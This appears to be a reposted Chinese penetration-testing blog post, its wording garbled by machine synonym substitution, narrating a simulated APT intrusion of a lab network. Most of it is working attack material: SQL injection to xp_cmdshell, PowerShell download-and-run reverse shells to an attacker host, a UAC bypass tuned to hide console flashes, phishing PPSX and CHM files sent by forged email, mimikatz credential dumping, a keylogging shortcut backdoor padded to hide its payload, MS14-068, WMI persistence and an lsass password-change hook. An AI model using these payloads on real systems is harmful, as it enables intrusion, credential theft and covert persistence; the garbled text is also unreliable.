web渗出 从入门到夺目 （web渗出 底子 知识）〔web渗透百度百科〕

　　APT攻击方式格式 繁多 ，我研究近来 的盛行 的APT攻击方式，在本地 搭建环境 模仿 一次简单 的APT攻击，在模仿 攻击过程中发现网上公布的poc都会有大巨细 的缺陷 ，大多数poc实行 过程中都会弹出一闪而过的黑框框，我深入分析这些脚本，修改此中 的代码 ，使其实行 的过程中消除谁人 一闪而过的黑框框，从而让中招的不会轻易 产生猜疑 。我研究的目标 是袒露 如许 的攻击过程，让更多的人相识 如许 的攻击过程，从而可以或许 研究出更有效 的防御方法。

　　内网的拓扑

　　拓扑阐明 ：

　　【1】10.101.101.0/24的网段模仿 的是外网的地点

　　【2】192.168.101.0/24的网段模仿 的是一个小型企业的内网中的应用服务器网络

　　【3】192.168.111.0/24的网段模仿 的是一个小型企业的内网中的办公网络

　　【4】企业内网可以无穷 制的访问到外网 ，但是外网无法访问到企业内网

　　【5】办公网可以无穷 制的访问到应用服务器网络，但是应用服务器网络无法访问到办公网络

　　【6】部分 服务器打了全部的补丁，而且 保持正常更新

　　一样平常 扫描

　　发现此服务器开放80 ，82端口，是windows 2008体系 。在80端口发现有sql注入

　　起首 看数据库和数据库地点 的服务器版本：

　　http:/ /10.101.101.13/?page= 1and@@version 0--

　　数据库是2008r2的，数据库地点 的操纵 体系 是win2008大概 win7然后看数据库：

　　http:/ /10.101.101.13/?page= 1; ifIS_SRVROLEMEMBER( 'sysadmin')= 1waitfor delay '0:0:5'--

　　这个语句测试数据库的权限 ，发现有延时，证明 是有数据库的权限是dba的权限然后用：

　　EXEC sp_configure ' showadvancedoptions ',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell ',1;RECONFIGURE；

　　打开xp_cmdshell的限定 ，下面创建一个临时 表：

　　https://10.101.101.13/?page=1; createtabletemp( idintidentity( 1, 1),a varchar( 8000)); --

　　实行 ipconfig /all并将结果 写入新创建的临时 表中

　　https://10.101.101.13/?page=1; insertintotemp exec master.dbo.xp_cmdshell 'ipconfig /all'; --

　　读取结果 ：

　　https://10.101.101.13/?page=1 and ( selectsubstring(( selecta fromtemp forxmlauto), 1, 4000)) 0--

　　看上去这个网站是站库分离的网站 。

　　然后用这种方法实行 “ping 10.101.101.16 ” ，发现数据库服务器可以通外网，获取这些信息之后，我用下面的指令删除创建的临时 表

　　https://10.101.101.13/?page=1; droptabletemp; --

　　获取到这么多信息了之后 ，在本身 的机子上开一个web站点，下载nishang的powershell的反弹脚本到本身 的web服务器上：https://github.com/samratashok/nishang ，先在本身 的主机上用nc -lvvp 8888监听8888端口，等待 反弹毗连 。

　　然后实行

　　http:/ /10.101.101.13/?page= 1;exec master..xp_cmdshell 'powershell IEX (New-Object Net.WebClient).DownloadString('http:/ /10.101.101.13/Invoke-PowerShellTcp.ps1 ');Invoke-PowerShellTcp -Reverse -IPAddress 10.101.101.13 -port 8888';--

　　我们可以看到实行 乐成

　　但是数据库被降权 ，权限不高，如今 我把ms15-051的exp上传到本身 的服务器，用powershell的长途 加载并实行 exe的脚本。实行 这个exp起首 下载powershell的这个脚本

　　https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1

　　然后实行

　　IEX (New- ObjectNet.WebClient).DownloadString( 'https://10.101.101.13/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl http: //10.101.101.13/x86/ms15-051.exe -ExeArgs "cmd" -ForceA

　　可以看到提权没有乐成 ，而且 换一个exp也没有乐成

　　以是 下面上msf继承 探测 先开启msf的监听功能

　　然后实行

　　http: //10.101. 101.13/?page= 1; execmaster..xp_cmdshell( 'IEX(New-Object Net.WebClient).DownloadString("https://10.101.101.16/CodeExecution/Invoke-Shellcode.ps1")Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16 -lport 4444 -force')

　　如许 就从数据库主机上反弹一个meterpreter毗连 了 。

　　先用

　　useauxiliary/scanner/smb/smb_version

　　扫描smb来获取内网的信息

　　发现一个mail服务器，用

　　useauxiliary/scanner/portscan

　　扫描一下端口 ，发现开放了80端口 ，25，110端口

　　我用 use auxiliary/server/socks4a 署理 进内网

　　在乌云镜像内里 没有找到可以用的洞，但是在82端口发现了惊喜

　　通过弱口令轻松进入到背景 ，发现一个可以天生 静态站的地方

　　把自界说 静态页面存储主路径改成1.asp，然后编辑一篇文章，把木马代码放进去 ，重新天生 静态页面就可以getshell了

　　这个服务器的82端口不能实行 cmd，不支持aspx，不能跨目次 到umail，但是在一个奇怪 的地方发现一个一份企业通讯录 ，下载下来看到管理员邮箱

　　于是想到用伪造邮件的方法来钓管理员 起首 参考两个文章：

　　https://www.freebuf.com/vuls/144054.html

　　https://www.91ri.org/15506.html

　　第一种方法

　　起首 用CVE-2017-8570给的exp做一个垂纶 用的ppsx 。由于原来的exp要用poershell下载一个shell.exe再实行 ，如许 轻易 被杀软发现,而且 原来的exp实行 反弹返来 的shell权限不敷 ，以是 要思量 绕过uac ，让管理员点击恶意的ppsx后静默反弹一个高权限的shell。假如 用nishang给的Invoke-PsUACme.ps1，实行 之后会有一个一闪而过的黑框框，很让人感到猜疑 ，去掉这个一闪而过的黑框框很简单 ，由于 我用oobe的方法在win7上绕过uac，以是 我在这里只先容 在这种条件下去掉黑框框的方法。起首 去掉Invoke-PsUACme.ps1中第206行的“ $execpath”这个代码 ，之后在调用Invoke-PsUACme的时间 -payload参数写上你要实行 的下令 ，末了 用rundll32.exe静默启动C:/Windows/System32/oobe/setupsqm.exe

　　IEX(New- ObjectNet.WebClient).DownloadString( "https://10.101.101.16/uacchm.ps1")

　　换掉原来exp内里 的powershell调用语句 此中 uacchm.ps1的内容是：

　　IEX (New- ObjectSystem.Net.WebClient).DownloadString( 'https://10.101.101.16/nishang/Escalation/Invoke-PsUACme.ps1')Invoke-PsUACme -method oobe -Payload 'powershell -win hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwADEALgAxADAAMQAuADEANgAvAGMAaABtAC4AcABzADEAJwApAA=='Start-Process -FilePath rundll32.exe -ArgumentList 'java:"..mshtml,RunHTMLApplication ";new%20ActiveXObject("W.Shell").Run("C:/Windows/System32/oobe/setupsqm.exe",0,true);self.close();'

　　而此中 enc背面 的数据是颠末 下面的代码编码而成：

　　$command = "IEX (New-Object Net.WebClient).DownloadString('https://10.101.101.16/chm.ps1')"$bytes = [System.Text.Encoding] ::Unicode.GetBytes($command) $encodedCommand = [Convert] ::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand

　　编码的内容是:

　　IEX (New- ObjectSystem.Net.WebClient).DownloadString( 'https://10.101.101.16/chm.ps1')

　　chm.ps1的内容是：

　　IEX (New- ObjectSystem.Net.WebClient).DownloadString( "https://10.101.101.16/powersploit/CodeExecution/Invoke-Shellcode.ps1"); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16-lport 7777-force

　　改好的exp我放在了

　　https://github.com/niexinming/safe_tool/blob/master/cve-2017-8570_toolkit.py

　　用法是：天赋 生 一个恶意的ppsx

　　python cve -2017-8570_toolkit.py -M gen -w car.ppsx -u http: //10.101.101.16:82/logo.doc

　　在82端口开启服务

　　pythoncve-2017-8570_toolkit.py-p82 -Mexp-e10 .101.101.16

　　Ps: 很多 多少 时间 这个弊端 复现不乐成 ，可以将查察 文件 - 选项 ，点击 信托 中心 设置：

　　去掉这些勾就好

　　第二种方法

　　这个比力 简单 : 用easy chm做一个恶意的chm就好

　　此中 我做的test.html放在了

　　https://github.com/niexinming/safe_tool/blob/master/test.html

　　Ps:由于PARAM的value的长度好像 有某种限定 ，以是 我把

　　IEX (New- ObjectNet.WebClient).DownloadString( "https://10.101.101.16/uacchm.ps1")base64

　　编码之后放入PARAM的value中

　　两个恶意的文件都制作好了，我如今 用swaks伪造邮件把这两个文档发送出去

　　如今 静静 等待 管理员点击我们的恶意文件，启动msf的exploit/multi/handler模块时间 用exploit -j就可以让msf在背景 等待 管理员中计 了 。 这个时间 发现一个管理员中了我们的木马

　　由于bypass了uac ，以是 返回的是管理员的shell，我们可以用mimikatz来把暗码 脱出来看看

　　由于管理员的机子不属于任何域，也不是域账号登岸 ，以是 ，我必要 获取他的在长途 登岸 其他机子的时间 的用户名和暗码 ，根据 《分析 制作俄罗斯APT构造 利用 的快捷方式后门文件》这篇文件的先容 ，我盼望 更换 长途 桌面的快捷方式来监督 管理员的举动 。

　　思绪 是：

　　（1）正常启动c:windowssystem32mstsc.exe，克制 管理员猜疑 ;

　　（2）由于原来的exp一启动就会有个黑框框一闪而过，要用rundll32的方式来消除黑框框 ，让恶意代码静态启动;

　　（3）参数部分 要先加260个空格字符背面 接着为payload代码，如许 减小管理员查察 属性的时间 看到payload而产生猜疑 ;

　　（4）参考 《渗出 本领 ——怎样 奇妙 利用 PSR监控Windows桌面》 这个文章静默启动一个桌面步调 记录 程序 ;

　　（5）利用 PowerSploit的Get-Keystrokes.ps1的脚原来 记录 键盘记录

　　（6）记录 一分钟后把记录 的文件隐蔽 起来

　　（7）启动metasploit的反弹毗连

　　（8）修改图标（关于C:Windowssystem32SHELL32.dll的图标id，有个网站给的很全面 ，可以修改转达 给图标id来修改图标）

　　我把修改好的代码放在 https://github.com/niexinming/safe_tool/blob/master/link.ps1，长途 加载的恶意的powershell代码放在了https://github.com/niexinming/safe_tool/blob/master/rlnk.ps1，天生 好恶意的快捷方式之后 ，只要修改rlnk.ps1就可以做你想做的事变 了。

　　利用 方法

　　看着已经天生 好了 ，看一下结果

　　看着比力 正常，用起来也很正常，没有卡顿 ，没有一闪而过的黑框 。假如 管理员用到长途 登岸 快捷方式去长途 登岸 服务器的话，在c:windowstemp目次 下会天生 log.dll，这个内里 记录 的是键盘记录 ，cap.zip记录 的是关键步调 截屏

　　等管理员启动的恶意的长途 登岸 快捷方式之前，可以用管理员的暗码 在应用服务器网段内用use auxiliary/scanner/smb/smb_login碰碰运气

　　看上去运气不佳啊

　　等了几天，发如今 这个目次 下有这个东西了

　　下载之后看到 ，键盘记录 ：

　　下面是屏幕截图记录

　　如许 我就得到 了一个平凡 域账号的账户名和暗码 。

　　下口试 试MS14-068这个弊端 能不能乐成 ，参考文章：

　　https://note.youdao.com/share/?id=1fe30438ec6ccd66e67c3d1ffdd8ae35type=note#/用proxychain实行 goldenPac.py diattack.com/jack:jackpwd@dns.diattack.com 哇，居然可以攻击

　　Ps: 攻击的时间 假如 dns在内网要记得hosts的地点 绑定

　　用得到的shell反弹一个poweshell出来到本地 8888端口 ，假如 你用下面的语句反弹的话将得到是一个32位的powershell：

　　powershell IEX (New- ObjectNet.WebClient).DownloadString( 'https://10.101.101.16/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.101.101.16-port 8888

　　这个时间 你运行

　　IEX (New- ObjectNet.WebClient).DownloadString( 'https://10.101.101.16/nishang/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikatz

　　体系 会报错，缘故起因 是你不能在32位的shell中运行64位的程程序，这里涉及到一个64位体系 文件重定向的题目 ，参考：https://www.cnblogs.com/lhglihuagang/p/3930874.html。以是 精确 的做法是利用 下面的代码来反弹一个64位的powershell

　　C:/ /Windows//SysNative/WindowsPowerShell/ /v1.0//powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://10.101.101.16/nishang/Shells/Invoke-PowerShellTcp.ps1 ');Invoke-PowerShellTcp -Reverse -IPAddress 10.101.101.16 -port 8888

　　这个时间 你运行

　　IEX (New- ObjectNet.WebClient).DownloadString( 'https://10.101.101.16/nishang/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikat

　　你就会得到域控管理员的暗码 下面我要在域控上面安装一个潜伏 的后门 ，参考文章：

　　https://www.moonsec.com/post-621.html

　　https://www.secpulse.com/archives/39555.html

　　https://wooyun.jozxing.cc/static/drops/tips-15575.html

　　我利用 三好学 生的方法制作一个wmi的后门，起首 ： 在本身 的web目次 下写一个mof.ps1，这个文件作用是用利用 wmi的定时器的功能让体系 每分钟实行 一次我们的payload ，这个mof.ps1我放在https://github.com/niexinming/safe_tool/blob/master/mof_time.ps1 。

　　我还写了一个可以挟制 进程 的powershell脚本，我放在https://github.com/niexinming/safe_tool/blob/master/mof_hijack.ps1，这里我用每分钟实行 payload的这个脚本 ，这里的我的payload我用一个反弹meterpreter毗连 的脚本,mof.txt内里 的内容：

　　?xml version="1.0"?

　　![CDATA[var r = new ActiveXObject("W.Shell").Run("powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwADEALgAxADAAMQAuADEANgAvAGMAaABtAC4AcABzADEAJwApAA=="); ]]

　　enc编码前的内容依然是：

　　IEX (New- ObjectSystem.Net.WebClient).DownloadString( 'https://10.101.101.16/chm.ps1')

　　实行 之后，每分钟会反弹一个meterpreter的shell，而且重启后依然会反弹

　　Ps: 这个wmi的后门我在win10上实行 的时间 ，不能实行 payload，假如 触发到后门的触发条件的话，win10会弹出openwith.exe这个进程 ，界面上看就是这个

　　查了两资质 料也没有找到一个端庄 的办理 方法，但是厥后 把openwith.exe换成cmd.exe就可以实行 payload了，由于 win7和win2008没有openwith，以是 没有碰到 什么阻力就直接实行 payload了 ，但是win10和win8在正常环境 下就会打开openwith这个后门的整理 方式，可以参考https://www.52pojie.cn/thread-607115-1-1.html

　　我还想放置一个后门，在域控管理员改暗码 的时间 记录 他的新暗码 ，参考：https://wooyun.jozxing.cc/static/drops/tips-13079.html，留意 他的脚本内里 有一个选项可以从你的web服务器加载一个dll到对方主机内存内里 ，如许 你把你的dll天生 好之后就可以放在你的web服务器下面 ，在这个ps1最下面参加

　　Invoke-ReflectivePEInjection -PEUrl http: //10.101.101.16/HookPasswordChange.dll –procname lsass

　　就可以了，然后你把这个脚本的调用参加 到chm.ps1内里 ：下面是改动之后chm.ps1内里 的内容：

　　IEX (New- ObjectSystem.Net.WebClient).DownloadString( "https://10.101.101.16/HookPasswordChangeNotify.ps1")IEX (New- ObjectSystem.Net.WebClient).DownloadString( "https://10.101.101.16/powersploit/CodeExecution/Invoke-Shellcode.ps1"); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16-lport 7777-force

　　如许 就可以任何时间 每隔一分钟的时间 可以一方面反弹一个meterpreter的毗连 ，还可以在域管理员改暗码 的时间 记录 他的新暗码

　　本文先容 了web渗出 ，邮件垂纶 ，后门摆设 等奇技淫巧，尤其针对消除各种一闪而过的cmd弹窗给出了我本身 的办理 思绪 ，假如 有题目 各人 可以在批评 区留言，我们共同探究 。

（泉源 ：亚信安全）